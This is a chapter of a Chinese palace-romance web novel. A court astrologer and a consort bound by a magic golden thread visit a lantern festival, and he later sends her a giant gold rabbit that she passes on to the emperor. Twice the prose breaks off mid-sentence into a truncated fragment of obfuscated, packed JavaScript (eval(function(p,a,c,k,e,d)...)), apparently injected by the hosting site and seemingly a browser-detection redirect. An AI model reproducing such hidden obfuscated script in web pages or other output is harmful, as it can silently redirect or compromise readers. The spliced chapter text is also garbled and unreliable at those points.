摸出几个小金元宝,丢进老翁面前的陶碗里,发出清脆的响声。他指尖一点,选了个造型最简单的小兔子糖人,拿在手里。 “公子!给多了!”老翁的那沙哑的嗓音在温招和阮时逢的耳畔响起。 “当给您的小费”阮时逢冲那老翁笑了笑。 温招随即打量了那老翁一眼,没了一只眼,没了一条腿。 他转过身,将那支糖人递到温招面前。琥珀色的糖浆凝成憨态可掬的形状,透着一股甜腻的香气。 “喏,”他的声音带着一种理所当然的随意,“尝尝。甜味儿能让人心情好些。板着脸走一路,旁人还以为我怎么欺负你了。” 温招脚步一顿,银面具终于转向他,以及那支几乎要戳到面具的糖兔子。 她没接,眼神透过面具的眼孔,像是在回忆着什么。 阮时逢举着糖人,也不尴尬,就那么等着。金色的光线在两人之间静静流淌,连接着他的手腕和她的。 那金线已经变成了只有两人才能看见的羁绊。 街上的光影流淌而过,人来人往,似乎没人特别注意这对特别的男女,只当是花缘节游街的小情侣。 僵持了片刻,阮时逢忽然轻轻叹了口气,那叹息声很轻,几乎散在风里。 他手腕微转,将糖人轻轻塞进温招自然垂着的手里,她的指尖下意识地蜷缩了一下,碰到了微硬的木签。 “拿稳了,”他语气轻松,仿佛刚才那声叹息只是个错觉,“当赔你刚才那盏兔子灯。”说完,他不再看她,继续晃晃悠悠地朝前走去,哼着不成调的小曲。 温招捏着那支细竹签,冰凉的糖人贴着她的指尖。 甜香丝丝缕缕钻入鼻腔。她垂眸看了一眼,那小兔子做得简单,却活灵活现。 这糖人她只吃过一次,那时她刚八岁,李婆带着她来参加花缘节,偷偷的给她买了个糖人,在回到府上时,偷偷塞给了她。 她最终没有扔掉,只是默不作声地握着,任那甜腻的气息若有若无地萦绕在周围。 她依旧走得挺直,银面具隔绝了外界,也藏起了所有情绪。 柳含烟在一旁看着,魂体轻轻波动,似乎想说什么,最终却只是沉默地跟着。 灯火阑珊,长街仿佛没有尽头。两道身影,一慵懒一清冷,被一道无形的线牵着,漫步在这虚假的繁华与真实的迷惘里。 阮时逢的声音又懒洋洋地响起,打破了沉默:“说来可笑,世人求神拜佛,烧香叩首,不过是为个虚无缥缈的念想。真给了……”他晃了晃手腕,金光轻漾,“又嫌烫手。” 温招没有回应。只是握着糖人的手指,无意识地收紧了些。 阮时逢像是突然想起来什么似的,一敲脑袋。 “哎呦,你不是喜欢那兔子灯吗,我来这时,经过一猜灯谜的铺子,走啊,看看还在不在。” 阮时逢话音未落,已自然地牵起她未拿糖人的那只手,腕间金光因这动作微微晃动。 阮时逢的手生的是极好看的,骨节分明却又纤细白皙,紧紧的包裹着着温招那柔若无骨的小手,两人的指尖不经意的摩挲着,可偏偏一个是玩心大,一个是木鱼脑袋,愣是谁都没察觉到不对,倒是给柳含烟看的那叫一个紧张。 他不由分说拉着她便往人群更深处走去,步伐轻快,带着一种不容拒绝的兴头。 温招被他拽得一个趔趄,糖人差点脱手。她想挣脱,那力道却不容置疑,腕间的金线更是明确地昭示着两人此刻的联结。 柳含烟急忙跟上,魂体在人群中穿梭倒比他们更自如些。 那猜灯谜的铺子还在,支着个简单的架子,挂满了各式花灯,一盏暖黄色的兔子灯被挂在最高处,做工精巧,憨态可掬,柔软的材质在夜风里微微晃动。灯下垂着几张纸条,写着谜面。 老板是个微胖的中年人,见他们过来,尤其是目光扫过两人之间那紧紧扣在一起的手,脸上立刻堆起生意人的热络笑容:“姑娘、公子,猜几个灯谜?猜中了,这盏兔子灯就送给二位讨个彩头!” 阮时逢松开了温招的手,指尖却似无意地擦过她的手腕,那里的金线微微发烫。他仰头看着那盏兔子灯,白猫面具下的嘴角勾了勾:“这灯不错,瞧着比刚才那盏结实。娘……温姑娘,你觉得呢?” 温招的目光落在那盏高悬的兔子灯上,暖黄的光晕柔和地洒落,与她手中渐融的糖人泛着相似的琥珀色泽。她没应声,只极轻地抿了下唇。 阮时逢已笑着指向第一张谜笺:“无边落木萧萧下,打一字。”他几乎不假思索,指尖一转,“是日字。萧萧下,去其萧,留其日’,可对?” 老板眼中掠过讶异,连连点头:“公子好才思!正是日字!” 周围零星几个围观的人发出低低的赞叹。阮时逢浑不在意,目光已掠向第二张:“残阳如血,打一物。”他顿了顿,这次思考了片刻,嘴角一扬。 “是胭脂。夕阳红如血,恰似女儿胭脂色,没错吧?” 老板抚掌笑道:“妙解!公子连中两元!这最后一谜……” 他看向最后那张垂下的纸条,语气带了点为难,“琴心归一方,打一字。这个最难,挂了许久也无人猜中。” 人群安静下来,都等着看这戴着白猫面具的公子能否再创佳绩。 阮时逢摸着下巴,盯着那谜面,第一次显出了些沉吟之色。“琴心归一方……打一字……”他低声念了两遍。 其实他猜出来了,可他就是想要温招说。 阮时逢故作沉吟,指尖在那“琴心归一方”的谜笺上虚点了两下,白猫面具微微侧向温招,语气里掺了点恰到好处的为难与怂恿:“这个倒是有些意思……” 他的目光透过面具,带着一种不着痕迹的期待,落在她身上。 温招的视线从高处的兔子灯移开,扫过那谜面。银面具隔绝了表情,只有清冷的声线流出,不带丝毫犹豫,仿佛答案早已刻在那里:“琴心各去其上下,余今与一,合之为合。” 她的声音不高,却清晰地落入周围每个人的耳中。不是疑问,而是陈述。 周围响起几声低低的喝彩。阮时逢轻轻“啊”了一声,像是刚被点醒,随即抚掌笑道:“妙极!果然是合字!在下愚钝,竟未立刻想到。” 他话里带着笑,那点故意相让的心思,藏得不深不浅。 老板已利落地取下那盏精致的兔子灯,笑呵呵地递过来:“这盏灯是二位的了!祝二位佳偶天成,百年好合!”话说得顺溜,显然是应景的吉祥话。 阮时逢十分自然地接过灯,那暖黄的光晕映亮他小半张下颌。他转身,将灯递向温招:“喏,你的兔子灯。这次可拿稳了,别再……”他话说到一半顿住,像是想起上次那盏灯的结局,轻笑一声带过,“总之,是你的了。” 温招这次没犹豫,自然的结过了灯,暖黄色灯光照在两人的脸庞之上,柔和而治愈。 她没说话,只是提着灯,目光落在远处流淌的河面上,那里星星点点,已有不少河灯顺水漂下,像散落的星辰。 “庙逛了,签求了,事办了,灯谜也猜了,不差这一样了,走吧。”阮时逢的声音在旁边响起,依旧是那副懒洋洋的调子,却不着痕迹地引着她往河边走。 腕间的金线随着步伐轻轻晃动,在夜色里划出温润的弧度。 河边人三三两两,多是年轻男女,蹲在岸边小心翼翼地将点燃的河灯送入水中,合十祈愿,低声絮语。 水流托着那些精巧的灯盏,晃晃悠悠地漂向远方,载着无人知晓的心事。 两人行至河边,水声潺潺,映着漫天星火与漂流的河灯,碎成一片流动的光斑。空气里弥漫着水汽与香烛燃烧后的淡淡烟味。 小贩在旁兜售着未点燃的素白河灯,阮时逢丢下几枚铜钱,随手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他忽然收起了所有惯常的散漫玩笑,白猫面具下的目光沉静下来,是一种罕见的、褪去了所有伪装的认真。 “温招,”他叫了她的名字,声音不高,却清晰地穿透水声,“线还缠着呢。” 他抬起手腕,那道金色的光绳在他们之间温润地流淌,不容忽视。“一个人走,怕是暂时不行了。” 河水在他们脚下静静流淌,载着那么多光明正大的祈愿和不可言说的心事。他们之间却只有一道沉默的金线和两句挑明现状的话。 温招没有立刻反驳。她的视线从遥远的河面收回来,终于,缓缓地,落在了阮时逢的脸上。 隔着一层滑稽的白猫面具,隔着一层冰冷的银面,目光就这样撞上了。 没有针锋相对的锐利,也没有刻意避开的闪躲。只是一种深沉的、复杂的眼神,仿佛要透过那层陶瓷和金属的阻碍,看清面具底下最真实的模样。 他眼底没了戏谑,是一片她从未见过的沉静水域,清晰地映出她此刻戴着面具的、同样看不透的身影。 那根线在两人无声的对视间微微发烫,像活了过来,随着他们之间凝滞的空气一起缓慢地搏动。 这一刻,没有言语,却仿佛说了千言万语。所有关于挣脱与否的争辩,关于前世今生的负累,关于这荒谬命运的嘲弄,都在这短暂的,猝不及防的对视中,变得无比清晰又无比混沌。 她看见他眼中映出的自己,一个被仇恨和孤寂包裹的、冰冷的倒影。 而他看见她眼底深处,那哪怕被冰封千里也未曾彻底熄灭的、一点微弱却固执的光。 河风拂过,吹动她额前的几缕碎发,也吹动他面具下垂落的丝绦。 阮时逢极轻地眨了一下眼,率先打破了这几乎令人窒息的沉默,声音低沉,却带着一种奇异的穿透力,一字一句,敲在温招的心上: “温招,你看,天命有时就是这么不讲道理。” “它硬塞过来的东西,不管你认不认,此刻就在你我腕上。” “与其想着立刻斩断,或许……不如先看看,它究竟要把我们带向何方。” 温招垂下了眸子,长长的睫毛在银面具下投出一小片阴影,遮住了所有可能外泄的情绪。 她看着腕间那抹温润却固执的金光,又仿佛透过它,看向了更深远、更无可转圜的东西。 河水的凉意似乎透过鞋底渗了上来。 她沉默了片刻,再开口时,声音低得像耳语,却带着一种千钧之重,砸在两人之间的空气里: “你说得对,天命不讲道理。”她微微停顿,像在咀嚼这句话里的苦涩,“它不由分说地给,也蛮横无情地夺。” 她的指尖无意识地蜷缩,触碰到冰凉的灯把。 “你看到的,是它硬塞过来的这条线。”她抬起眼,目光再次落向阮时逢,这一次,那目光里亦没有之前的尖锐对抗,只剩下一种深不见底的,近乎疲惫的苍凉。 “可我看到的,是它早已写好的另一件事。那件事……没有留下任何转圜的余地。” 她的声音很轻,却每一个字都清晰无比:“有些相遇或许是偶然,但有些别离,从一开始就是注定。这条线……或许只是天道无聊时画下的一个错笔,终有修正的那一天。” “而我走的那条路,”她看着他的眼睛,一字一句,平静得令人心悸,“尽头没有留给任何人的位置。” 河风拂过,带来远处最后几声模糊的嬉笑,衬得她的话语愈发寂寥。 阮时逢没有说话,白猫面具静静对着她。他腕间的金线依旧散发着柔和的光,那光芒此刻却仿佛照不进两人之间陡然加深的鸿沟。 他看着她,看着这个被重重宿命和冰冷决心包裹的女子,看着她说出“注定别离”时那异常平静的侧脸。 过了好一会儿,他才极轻地笑了一下,那笑声里听不出什么情绪,更像是一声叹息。 “尽头的事,谁说得准呢。”他最终说道,语气恢复了三分往常的懒散,却似乎有什么东西沉淀了下去,“至少眼下,这条路,还得一起走一段。” 他站起身,朝她伸出手。掌心向上,并未直接触碰,只是一个等待的姿态。腕间的金线因他的动作自然垂落,连带着温招那边也轻轻一动。 “走吧,”他说,“天快亮了。” 温招看着那只悬在半空的手,骨节分明,在渐褪的夜色里显得格外清晰。腕间的金线无声垂落,连着她的命运,也连着眼前这个人。 她没有立刻将手放上去,只是看着。远处最后几盏河灯的光晕在水面破碎,又重组,像一场无声的告别。 最终,她借着提灯的动作微微侧身,避开了那份直接的触碰,却也站了起来。素色的裙摆沾染了河边的潮气,沉甸甸的。 “走吧。”她重复了一遍他的话,声音听不出情绪,率先转身,沿着来路往回走。手中的兔子灯晃出一小片温暖的光晕,在她冰冷的银色面具上跳跃,割裂出明暗交织的影。 阮时逢看着她的背影,收回手,指尖几不可察地蜷缩了一下,随即又恢复那副懒洋洋的姿态,快步跟上。金线在他们之间绷直又松弛,像一道无声的契约。 长街的灯火次第熄灭,喧嚣彻底沉淀下来,只余下清扫的簌簌声和黎明前最深沉的寂静。青石板路泛着湿冷的光,脚步声清晰可闻。 他们一前一后走着,不再交谈。那份因天命而强行缔结的联结,此刻在空旷的街道上显得格外突兀,又奇异地和諧。 柳含烟的魂体远远跟着,不敢靠近,仿佛怕惊扰了这凝固的氛围。 东方的天际渐渐泛起一丝鱼肚白,稀薄的晨光试图驱散夜的残余。温招手中的兔子灯烛火渐弱,那暖黄的光变得微弱,却依旧固执地亮着。 阮时逢忽然快走两步,与她并肩,侧头看她。银面具的边缘被晨光勾勒出一道冷硬的线。 “温招,”他开口,声音在寂静的晨雾里显得有些低,“你看,天亮了。” 他的语气里没有调侃,也没有那些故作深沉的叹息,只是平铺直叙地陈述着一个事实。 温招脚步未停,目光望向天际那抹越来越亮的光色。黑夜无论多么漫长,终究会过去。就像一些纠缠,无论多么不愿面对,天亮了,总得继续。 她极轻地应了一声:“嗯。” 一个字,轻得像叹息,却又重得砸在两人之间。 晨光熹微中,那道连系着彼此手腕的金色光线,似乎也柔和了许多,不再那么刺眼。它静静地存在着,仿佛在说,路还很长。 31.031 天光彻底浸透窗棂时,腕间那抹温润的金色悄然淡去,如同被阳光蒸发的露水,无声无息。联结断开得突兀又自然,仿佛昨夜光怪陆离的一切只是一场逼真的幻梦。 温招回到栖梧宫,身上还沾染着夜市的烟火气和河边的潮意。殿内静悄悄的,只有魑惊强撑着困倦等在那里,眼下两团明显的青黑。 魑惊一见她,立刻精神了些,目光很快被温招手中那盏兔子灯吸引。 “娘娘眼光真好,”魑惊的眼睛亮起来,带着少女纯粹的赞叹,困意全抛在了脑后,“这灯做得真精巧,瞧着就欢喜。” 温招闻言一怔,下意识便想将灯递过去说“喜欢便拿去”。可话未出口,某个戴着白猫面具、笑得漫不经心却又在灯火里清晰无比的身影倏地撞入脑海,连同那句“这次可拿稳了”的调侃一起。 她握着竹柄的手指微微收紧,灯身晃了晃,暖黄的光晕在晨光里显得有些微弱。 温招看着眼前才十六岁的魑惊,比自己还要小三岁,性子单纯,见到好看的小玩意儿便移不开眼。若是平时,她绝不会吝啬。 可这一次…… 心底某个角落生出一丝极淡却清晰的抗拒。 她沉默了一瞬,再开口时,声音听不出什么波澜:“好看的话,本宫找人做一盏一模一样的送你,如何?” 魑惊眨了眨眼,似乎有些意外,但很快便笑起来,用力点头:“多谢娘娘!那奴婢可就等着啦!” 温招没再说话,只提着那盏灯转身走向内殿。晨光将她的影子拉得很长,手中的灯火却在那一片清亮中固执地散发着属于自己独一无二的光晕。 有些东西,终究是无法被轻易替代的。 温招回到寝宫,柳含烟也随之回到侧殿,鬼魂是不需要吃东西的,所以侧殿很少有人去,下人们只知道那侧殿被温招贴了许多符纸,也没人敢议论,毕竟温招如今可是最得宠的妃子。 “南边的庵堂……”祠堂的老妪所说萧残秋的结局和林静姝所说不同,林静姝明明说的是那女子被万家的人害死了,那这庵堂里的人究竟是不是她,她又身在何处…… 某位国师大人自从破军老老实实的把情报汇报之后,他也是对这位良妃娘娘研究了好一会。 “朝阳命……”阮时逢此刻一手拄着太阳穴,一手搭在腿上,眼角微翘。 为什么是朝阳命? 阮时逢不禁有些头疼,坐直身子,胡乱的揉了揉脑袋,自暴自弃的来了一句:“什么劳什子朝阳命,本座才不信呢!” 破军和贪狼在门外听着里面的动静,破军贱嗖嗖的怼了怼贪狼的胳膊:“你说,大人这该不会是思春了吧~” 贪狼还是一如既往的面无表情,只是拿看傻子的眼神看了贪狼一眼。 “你那是什么眼神?”破军不满地嘟囔,“我这叫善于观察!你看大人最近,是不是经常对着空气傻笑?还总摸手腕!那里以前可没戴什么东西!” 贪狼沉默地转过头,目光落在门板上,仿佛能穿透过去看到里面那个烦躁的上司。他惜字如金地开口:“不像。” “不像什么?”破军追问。 “思春。”贪狼吐出两个字,顿了顿,又补充道,“像……撞邪。” 破军噗嗤一声笑出来,连忙捂住嘴,肩膀抖个不停。撞邪?这说法放在他们这位能掐会算、专克邪祟的国师大人身上,真是格外新鲜。 殿内,阮时逢猛地打了个喷嚏。他揉揉鼻子,莫名觉得后颈有点发凉。 “臭兔子……是不是在夸本帅哥……”他又嘀咕了一句,指尖无意识地在桌面上画着谁也看不懂的纹路。他总觉得哪里不对劲,温招的身世像一件过于华美的衣袍,底下或许藏着几根看不见的刺。 他想起温招那双眼睛,隔着面具也能感受到里面的冷和倔。那可不是什么温顺等待朝阳普照的模样。 “麻烦。”阮时逢总结道,干脆往后一仰,瘫在椅子里,望着屋顶精致的雕花,“真是天大的麻烦。” 可偏偏,腕间似乎还残留着那金色光线若有似无的触感。他抬起手,对着光看了看,手腕干干净净,什么痕迹都没有。 “啧。”他有些不爽地放下手。 门外,破军还在试图分析:“要我说,大人就是口是心非。你看他昨天回来,虽然嘴上抱怨,可那嘴角,就没彻底放下来过!” 贪狼这次连眼神都懒得给了,只抱臂靠在廊柱上,闭目养神。大人的心思,猜不透,不如不猜。 破军自觉无趣,也学着贪狼的样子靠在一旁,但没安静多久,又忍不住压低声音:“喂,贪狼,你说……那金线,到底是什么来头?月老祠那棵老桂树,真成精了?” 自从阮时逢回来,像是无处炫耀似的,一落座便叽里呱啦的向两人炫耀了一大堆。 贪狼眼都没睁:“不知。” “唉,没劲。”破军叹了口气,百无聊赖地踢了踢脚下的石子。 殿内,阮时逢忽然坐直了身体,像是想到了什么。 “贪狼!破军!进来!” 门外两人对视一眼,推门而入。破军脸上还挂着未收尽的八卦好奇,贪狼则依旧没什么表情。 阮时逢手指敲着桌面,眼睛亮得有些不寻常,那点因“朝阳命”而起的烦躁似乎被一股突如其来的兴致冲刷得一干二净。 “问你们个事,”他身体微微前倾,目光在两名下属之间扫过,“若想讨一个人欢心,送什么最好?” 破军眼睛瞬间瞪圆了,差点脱口而出“果然如此”,被贪狼一个眼神硬生生憋了回去。 贪狼沉默一瞬,谨慎答道:“投其所好。” “废话。”阮时逢嫌弃地瞥他一眼,“本座不知道要投其所好?问题是投什么?” 他像是自问自答,手指敲得更快了:“她好像……挺喜欢兔子。”昨晚糖人摊前的短暂驻足,猜灯谜时对那盏兔子灯的凝视,还有她最终接过灯时细微的动作,一幕幕在他脑中闪过,况且破军汇报的时候也说过她,温招小时候养过一只兔子,但是好像是被温韫不小心给害死了。 破军终于忍不住,小声插嘴:“大人,您是想送……良妃娘娘?” 阮时逢挑眉,丢给他一个“不然呢”的眼神。 破军立刻来了精神,积极献策:“娘娘什么珍宝没见过?送金子!实在!亮堂!看着就高兴!”他越想越觉得有道理,“越大越好,显得诚心!” 阮时逢摸着下巴,破军这话糙理不糙。温招在宫里确实不缺奇珍异宝,但金子……金子谁不喜欢?况且,越大越能体现他的……诚意? 一个荒谬又极其符合他作风的念头瞬间成型。 他猛地一拍桌子,吓了破军一跳。 “好主意!”阮时逢脸上扬起一个灿烂又带着几分恶劣的笑容,“就送金子!送个大的!” 他站起身,来回踱了两步,越想越觉得此法绝妙,既能表达心意,又足够与众不同,足以让那个总是冷着脸的女人印象深刻。 “去找京城最好的金匠!”他大手一挥,语气豪横,“用最好的金子,给本座打一只兔子!要这么大-----”他双臂夸张地比划了一个巨大的轮廓,“不!还要再大些!要足够亮眼,足够……嗯,实在!” 破军张大了嘴,想象了一下那个画面,一座金灿灿的、巨大的兔子……这审美,果然很自家大人。 贪狼的嘴角似乎几不可察地抽搐了一下。 “大人,”贪狼试图提醒,“此举是否过于……显眼?”他实在想不出更委婉的词。 “显眼怎么了?”阮时逢理直气壮,“本座送东西,难道还要偷偷摸摸?就要让所有人都看见!”他仿佛已经看到温招收到这份“厚礼”时可能出现的任何一种有趣的表情,无论是震惊、无语还是别的什么,都让他期待。 但同时又不禁心虚了一下,是有些显眼了……不对!他心虚什么!他又不是小三!常青才是!阮时逢不禁又挺了挺腰板。 “赶紧去办!”他催促道,显得迫不及待,“用金元宝熔!本座库房里多得是!要快!” 破军看着自家大人那副“老子有钱老子乐意”的架势,把最后一点劝说的话咽了回去,认命地点头:“是,属下这就去!” 他拉着依旧面无表情但眼神复杂的贪狼退了出去。 殿内,阮时逢重新坐回椅子里,心情莫名舒畅了许多,指尖轻快地点着扶手。 殿内重归寂静,阮时逢独自坐着,指尖无意识地在光滑的桌面上画着圈。送一只巨大的金兔子……这念头初时觉得荒谬又得意,此刻静下来细想,似乎……是有点过于直白,甚至蠢得有点清新脱俗。 他眼前仿佛已经看到那只金光闪耀、蠢头蠢脑的巨兔矗立在栖梧宫院中的景象。温招会是什么表情?那双总是结着冰霜的眸子,是会闪过一丝诧异,还是直接冻成万年寒冰?又或者,她根本懒得给半点反应? 阮时逢莫名觉得耳根有点热。他抬手揉了揉,试图驱散那点不自在。 “管她呢。”他低声嘟囔,像是给自己打气,又像是习惯性的嘴硬,“本座送出去的东西,哪有收回的道理?她要是敢不喜欢……”他顿了顿,发现后面的话有点接不下去-----她若不喜欢,他似乎也不能怎样。 总不能把金子再熔回来。那多没面子。 他烦躁地抓了抓头发,把原本束得整齐的发冠都弄歪了几分。为什么偏偏是温招?为什么偏偏是那种又冷又硬、浑身是刺,还背着不知多少旧债麻烦的女人?若是别人,他阮时逢勾勾手指,什么珍宝情意送不出去?哪用得着在这里为一个礼物绞尽脑汁,还尽想出这种馊主意。 可偏偏就是她,也只能是她。 腕间那早已消失的金线似乎又开始隐隐发烫,提醒着他昨夜树下月光如洗,两人之间那道无法辩驳的联结。 “麻烦。”他又骂了一句,这次声音低了许多,带着点认命般的无奈,还有一丝自己都未曾察觉的……甘之如饴。 他重新瘫进宽大的椅子里,望着雕梁画栋的屋顶,长长吁出一口气。 “金子就金子吧。”他最终自言自语地拍板,带着一种破罐子破摔的洒脱,“总比那些虚头巴脑的风花雪月强!” 这么一想,心情又奇异地明朗起来。他甚至开始想象,温招对着那只闪瞎人眼的金兔子时,嘴角会不会抽搐一下。哪怕只是一下,也值回票价了。 至于“朝阳命”那点说不清道不明的疑虑,暂且被抛到了脑后。眼下,还是送兔子比较要紧。 他调整了一下坐姿,找了个更舒服的姿势窝着,指尖又开始有一下没一下地敲着扶手,盘算着怎么讨温招欢心…… 当然……硬要说是撬墙角,也可以…… 栖梧宫内,温招正想躺下歇息。 殿外忽然传来一阵异样的喧哗,夹杂着宫人压抑的惊呼和沉重的、仿佛金属拖拽地面的闷响。那声音由远及近,竟直逼她的宫院而来。 温招蹙眉抬头,还未等她发问,魑惊就一脸古怪地小跑进来,声音都变了调:“娘娘……外面……国师大人派人送……送……” 话未说完,几个膀大腰圆的侍卫已经吭哧吭哧地抬着一个被巨大红绸覆盖的物件进了院子。那物件沉重无比,压得抬它的侍卫青筋暴起,脚步沉重地落在青石板上,发出令人牙酸的闷响。红绸覆盖下的轮廓庞大而……诡异。 为首的侍卫恭敬行礼,脸上表情一言难尽:“禀良妃娘娘,国师大人命我等将此物送至娘娘宫中,说……说是给娘娘的……礼物。” 温招心中警铃大作,一股极其不祥的预感瞬间攫住了她。阮时逢送的礼物?什么礼物?需要这么大体格?! 她站起身,缓步走到殿门口。阳光刺眼,落在红绸上,反射出某种过于耀眼的光泽。 侍卫见她出来,像是完成任务般松了口气,迅速而默契地同时伸手,猛地将那块巨大的红绸扯落。 刹那间,金光暴涨! 一只巨大无比、憨态可掬、通体由纯金打造的兔子,就那么毫无征兆、蛮横霸道地闯入了所有人的视线。它足足有半人高,圆滚滚的身体,竖着两只长长的耳朵,一双镶嵌着红宝石的眼睛呆滞地瞪着前方,在阳光下散发着一种暴发户式的、令人窒息的光芒。整个栖梧宫前院都被这金灿灿的巨物映亮了几分。 空气死寂。 所有宫人都目瞪口呆,仿佛被那金光钉在了原地。 温招只觉得眼前一花,被那毫不讲理的金光刺得眯了一下眼。待她看清那究竟是什么玩意儿之后,饶是她再如何冷静自持,面具下的脸颊也控制不住地抽搐了一下。 她看着那只蠢得惊天动地的黄金巨兔,看着它那双无辜又耀眼的红宝石眼睛,只觉得一股血气猛地冲上头顶,太阳穴突突直跳。 “阮!时!逢!” 这三个字几乎是从她牙缝里挤出来的。 他是不是有病?!送一只纯金的、巨大的、摆明了告诉全皇宫“老子有钱没处花”的兔子过来?!他是生怕别人不知道他们昨夜一起逛了花缘节?还是生怕常青那双眼睛不够锐利,看不出他们之间有什么“非同寻常”的往来? 这哪里是送礼?这分明是敲锣打鼓地给她找麻烦!是生怕她这“宠妃”当得太安稳!虽然说她当不了几天了,但是这也太招摇了。 温招站在原地,宽大袖袍下的手紧紧攥起,指甲几乎要嵌进掌心。 她努力维持着面部表情的平静,但周身骤然下降的温度和那股子恨不得立刻冲去国师府杀人的杀气,还是让身旁的魑惊下意识地缩了缩脖子。 那送东西的侍卫显然也感受到了这股低气压,硬着头皮递上一张洒金笺:“娘娘,国师大人还有附言。” 温招冰冷的目光扫过去,接过笺纸。上面是阮时逢那龙飞凤舞、极具个人特色的字迹,只有一句: 「够亮堂否?可还喜欢?」 喜欢?温招盯着那行字,气得几乎要笑出来。 她现在只想把这坨金疙瘩连同那张破纸一起,狠狠砸回阮时逢那张笑得无比欠揍的脸上! 温招盯着那几乎要闪瞎人眼的金兔子,胸口气血翻涌,恨不得立刻杀到阮时逢面前将他那张欠揍的脸按进这坨金疙瘩里。但残存的理智死死拉住了她。 她深吸一口气,强迫自己冷静下来。怒火解决不了问题,只会让旁人看笑话,更会把自己置于风口浪尖。 她目光冷冽地扫过院子里那尊金光闪闪的“祸害”,又瞥向周围那些噤若寒蝉、却掩不住好奇与探究目光的宫人。阮时逢这一出,简直是把她架在火上烤。 不能留。这东西绝不能留在栖梧宫。 一个念头电光石火间窜入脑海。她眼底的冰寒稍退,取而代之的是一种极深的、带着冷峭算计的锐光。 她忽然转身,声音恢复了平日的清冷,甚至带上了一丝恰到好处的、受宠若惊般的语调,扬声道:“国师大人真是……费心了。如此重礼,定当是献给陛下的,献礼这等荣幸之事竟还转手让给了本宫……” 她顿了顿,目光似无意地掠过宫门方向,声音又提高了几分,确保所有人都能听见:“如此祥瑞金器,陛下定然欢喜。魑惊,备轿,本宫要亲自将此……厚礼,献与陛下。” 魑惊愣了一下,随即立刻反应过来,连忙应声:“是!娘娘!” 院中众人闻言,神色各异,但那股诡异的氛围似乎稍稍松动了一些。原来国师大人是要献给陛下啊……这就说得通了,如此扎眼的东西,确实只有陛下才配拥有。 温招不再看那金兔子一眼,转身回殿,吩咐人更衣。她动作不疾不徐,心里却冷笑连连。阮时逢,你想给我招祸?那我就把这“祸水”直接引到它的源头去。 你不是显摆吗?不是豪横吗?不是生怕常青不知道吗? 好极了。我亲自给你送到御前,让所有人都看看,你国师大人是如何“忠心耿耿”、“挖空心思”地搜罗奇珍异宝来“孝敬”陛下的! 她倒要看看,常青对着这只蠢兔子,是会龙心大悦,还是会觉得他这位国师钱多得烧手,行事荒唐! 不多时,那尊沉重的金兔子被小心翼翼抬上专门的板车,覆盖上明黄绸布,在一众侍卫和宫人的簇拥下,浩浩荡荡地往皇帝常青的寝宫而去。 这一会路,引得无数宫人侧目,窃窃私语。传着传着便成了国师赠重礼于陛下的消息,消息像长了翅膀一样飞遍宫廷。 温招端坐轿中,面色平静,指尖却微微蜷缩。 御书房内,檀香袅袅。 常青正批阅着奏折,听闻宫人回禀良妃求见,还带着国师所赠的一份“厚礼”,眉梢微挑,放下了朱笔。 “宣。” 温招敛目垂首,仪态恭谨地步入殿内,身后跟着小心翼翼抬着那蒙着明黄绸布巨物的侍卫。 “臣妾参见陛下。” “爱妃免礼。”常青目光掠过她,落在那个显眼的物件上,语气平和,“听闻国师送了份大礼到栖梧宫?爱妃这是……” 温招微微抬首,面上带着恰到好处的恭敬,声音清越:“回陛下,国师大人派人将此物送至臣妾宫中,言明是献给陛下的祥瑞之礼。臣妾愚见,如此重器,唯有陛下堪配赏鉴,故不敢耽搁,立刻送来请陛下圣览。” 她话语清晰,将“献给陛下”四个字咬得格外分明,彻底撇清了自己与这礼物的直接关联,只担了个转呈的名头。 常青眼底掠过一丝极淡的疑惑,这阮时逢平日大门不出二门不迈,今日是搞哪出? “哦?阮爱卿有心了。掀开让朕瞧瞧,是何等祥瑞。” 侍卫得令,用力扯下绸布。 刹那间,金光再次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“去吧。”常青颔首,目光重新落回奏折上,仿佛那只金光闪闪的兔子并不存在。 温招行礼,缓步退出御书房。直到走出殿门,感受到外面的阳光和微风,她绷紧的后背才稍稍松弛下来。 她回头望了一眼那沉重的殿门,想象着那只金兔子被留在里面的景象,嘴角忍不住勾起一丝极淡的、冷冽的弧度。 阮时逢,这份“厚礼”,我可是原封不动地替你送到正主手里了。 就是不知陛下口中的“别出心裁”,到底是褒是贬了。 她转身,裙裾拂过洁净的石阶,向着栖梧宫走去。 身后的御书房内,常青的目光从奏折上抬起,再次落在那只滑稽的金兔上,不禁犯起了愁。 他揉了揉眉心,只觉得比批一整天奏折还累。阮时逢这人,本事大,势力广,脾气怪,他是知道的。可以往再出格,也不过是窝在观星台里不见人,或是说话夹枪带棒些,从未有过这般……这般令人费解的举动。 献一只纯金的、蠢得惊人的兔子?还附上这样一张语义暧昧的字条? 常青深吸一口气,压下心头那股荒谬至极的感觉。他挥了挥手,示意万福将笔墨备好。 铺开御用的宣纸,常青提起朱笔,却悬在半空良久未落。这事该如何下笔?直接问“爱卿是否对朕有非分之想”?不成,太失体统,若会错了意,更是徒增笑柄。 他沉吟片刻,终是落笔,字迹沉稳而克制,带着帝王特有的疏离与威严: 「阮卿安好。卿之所赠,朕已览毕。金器甚为别致,心意朕已知晓。然朕闻,君子之交,淡如水;君臣之分,贵在清。望卿慎之,重之,恪守臣伦,勿生他念。天下未定,黎民待哺,盼卿与朕,同心同德,以国事为重。」 写罢,他放下笔,又仔细看了一遍。语气足够严肃,规劝的意思也到了,既点明了“君臣之分”,强调了“勿生他念”,又抬出了“国事为重”的大义,应该……足够清晰了吧? 常青忍不住又看了一眼那金光闪闪的兔子,无奈地摇了摇头。他将信用火漆封好,交给万福。 “派人送去国师府,交到阮爱卿手上。”他顿了顿,补充道,“务必亲自交到他手中。” 万福躬身接过,低眉顺眼地退了出去,脚步比平时快了些,仿佛生怕那金兔子的光芒灼伤自己。 